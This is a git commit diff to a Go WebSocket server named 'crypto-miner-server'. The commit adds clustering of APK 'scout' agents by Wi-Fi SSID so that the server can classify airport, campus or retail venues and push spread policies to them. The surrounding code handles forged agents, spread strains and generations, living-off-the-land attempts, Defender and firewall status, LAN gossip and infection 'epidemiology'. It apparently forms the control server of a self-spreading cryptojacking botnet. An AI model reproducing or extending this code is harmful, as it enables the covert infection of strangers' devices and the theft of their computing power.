Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
AetherForge
2026-06-07 09:18:58 -07:00
parent 8b14582975
commit bbab38f8e1
60 changed files with 2610 additions and 43 deletions

View File

@@ -17,6 +17,7 @@ import (
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/epidemiology"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
"crypto-miner-server/internal/strategy"
@@ -170,7 +171,10 @@ type WSHub struct {
serverPolicy ServerPolicy
adaptiveEngine *strategy.AdaptiveEngine
failureAtlas *atlas.FailureAtlas
subnetImmune *atlas.SubnetImmune
subnetImmune *atlas.SubnetImmune
subnetAutopsies map[string]atlas.SubnetAutopsyPacket
subnetGossipWhispers map[string][]atlas.GossipHint
epidemiology *epidemiology.Tracker
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
@@ -189,6 +193,11 @@ type WSHub struct {
beaconCmdQueue map[string][]BeaconCommand
beaconPolicyQueue map[string][]FleetAgentPolicy
// Scout constellation venue clustering (APK scouts reporting same SSID).
scoutConstellationMu sync.Mutex
scoutConstellations *fleetai.ScoutConstellationRegistry
scoutAgents map[string]bool
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
statsBatchMu sync.Mutex
statsBatch map[string]json.RawMessage
@@ -217,6 +226,7 @@ func NewWSHub(database *db.Database) *WSHub {
agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype),
agentSubnet: make(map[string]string),
breedingRegistry: strategy.NewBreedingRegistry(),
epidemiology: epidemiology.NewTracker(),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
beaconLastSeen: make(map[string]time.Time),
beaconCmdQueue: make(map[string][]BeaconCommand),
@@ -427,6 +437,11 @@ func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
}
}
// PolicyErasureEnabled reports whether ReedSolomon erasure lanes are active.
func (h *WSHub) PolicyErasureEnabled() bool {
return h.serverPolicySnapshot().ErasureLanesEnabled
}
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
h.mu.RLock()
defer h.mu.RUnlock()
@@ -914,19 +929,27 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
resp["triple_onion_policy"] = top
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled {
spreadPolicy := map[string]interface{}{
"erasure_lanes_enabled": policy.ErasureLanesEnabled,
}
spreadPolicy := map[string]interface{}{}
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
if policy.HashrateGateSpreadMin > 0 {
spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin
}
if policy.HashrateGateHPS > 0 {
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
}
}
if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil {
for k, v := range scoutPolicy {
spreadPolicy[k] = v
}
}
if len(spreadPolicy) > 0 {
resp["spread_policy"] = spreadPolicy
}
resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled
resp["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
var inherited *strategy.InheritedPhenotype
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
@@ -977,6 +1000,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if policy.AIControlEnabled {
resp["spread_temperament"] = fleetai.PersonaSpreadTemperament(policy.AIPersona)
}
if graft, ok := h.GraftPolicyForAgent(agentID); ok {
resp["graft_policy"] = graft
agent.GraftSourceStrain = graft.GraftSourceStrain
agent.GraftTier = graft.GraftTier
}
if h.clearance != nil {
level := h.clearance.InitAgent(agentID, agent)
resp["clearance_level"] = level
@@ -999,7 +1027,13 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
resp["lan_seeders"] = seeders
}
}
if policy.FleetTorrentEnabled && hint == "seeder" {
if primary := h.subnetPrimarySeederHint(agentID, clientIP, hint); primary != "" {
resp["subnet_primary_seeder"] = primary
}
}
}
h.attachEpidemiologyFix(resp, agentID)
return resp
}())})
@@ -1352,6 +1386,38 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts)
h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder)
h.ingestFleetPressure(agentID, broadcast)
epiStats := epidemiology.StatsInput{
FleetRole: stats.FleetRole,
ActiveMethod: stats.ActiveMethod,
MiningHashrate: stats.MiningHashrate,
Hashrate15m: stats.Hashrate15m,
GPUHashrate15m: stats.GPUHashrate15m,
ChainExhausted: stats.ChainExhausted,
MiningLastError: stats.MiningLastError,
LOTLTier: stats.LOTLTier,
JoinLane: stats.JoinLane,
ParentAgentID: stats.ParentAgentID,
SpreadGeneration: stats.SpreadGeneration,
SpreadStrain: stats.SpreadStrain,
}
if stats.GPUMinerActive != nil {
epiStats.GPUMinerActive = *stats.GPUMinerActive
}
for _, f := range stats.FailedMethods {
epiStats.FailedMethods = append(epiStats.FailedMethods, epidemiology.MethodFailure{
Method: f.Method,
Reason: f.Reason,
At: f.At,
})
}
for _, a := range stats.LOTLAttempts {
epiStats.LOTLAttempts = append(epiStats.LOTLAttempts, epidemiology.TierAttempt{
Tier: a.Tier,
OK: a.OK,
Error: a.Error,
})
}
h.observeEpidemiologyFromStats(agentID, epiStats)
h.queueStatsBroadcast(broadcast)
case "scout_report":
@@ -1359,6 +1425,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
continue
}
var report struct {
SSID string `json:"ssid"`
JoinLane string `json:"join_lane"`
ServiceCount int `json:"service_count"`
ScoutMode bool `json:"scout_mode"`
@@ -1378,6 +1445,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
firewallDomain = ag.FirewallDomain
}
h.tryPublishScoutPhenotype(agentID, platform, ip, firewallDomain, report.JoinLane, report.ServiceCount)
if strings.TrimSpace(report.SSID) != "" {
h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
}
case "ai_snapshot":
if agentID == "" {
@@ -1585,6 +1655,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
h.handleAgentAtlasGossip(agentID, msg.Payload)
case "fleet_torrent_gossip":
if agentID == "" {
continue
}
h.handleAgentFleetTorrentGossip(agentID, msg.Payload)
case "command_result":
if agentID == "" {
continue
@@ -2214,6 +2290,7 @@ func (h *WSHub) tryPublishWinningPhenotype(
SourceAgentName: ag.Name,
})
}
h.publishStrainCardForWinner(agentID, ag.Name, strings.TrimSpace(joinLane), tierOrder, miningHashrate, stratAttempts)
}
func (h *WSHub) tryPublishScoutPhenotype(
@@ -2549,6 +2626,14 @@ func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
})
}
// BroadcastSeerNotesUpdated pushes a new Seer memory note to dashboard clients.
func (h *WSHub) BroadcastSeerNotesUpdated(note interface{}) {
h.broadcastDashboard(Message{
Type: "seer_notes_updated",
Payload: mustMarshal(note),
})
}
// warRoomBroadcastInterval is the Emberwake war-room WS tick (overridable in tests).
var warRoomBroadcastInterval = 30 * time.Second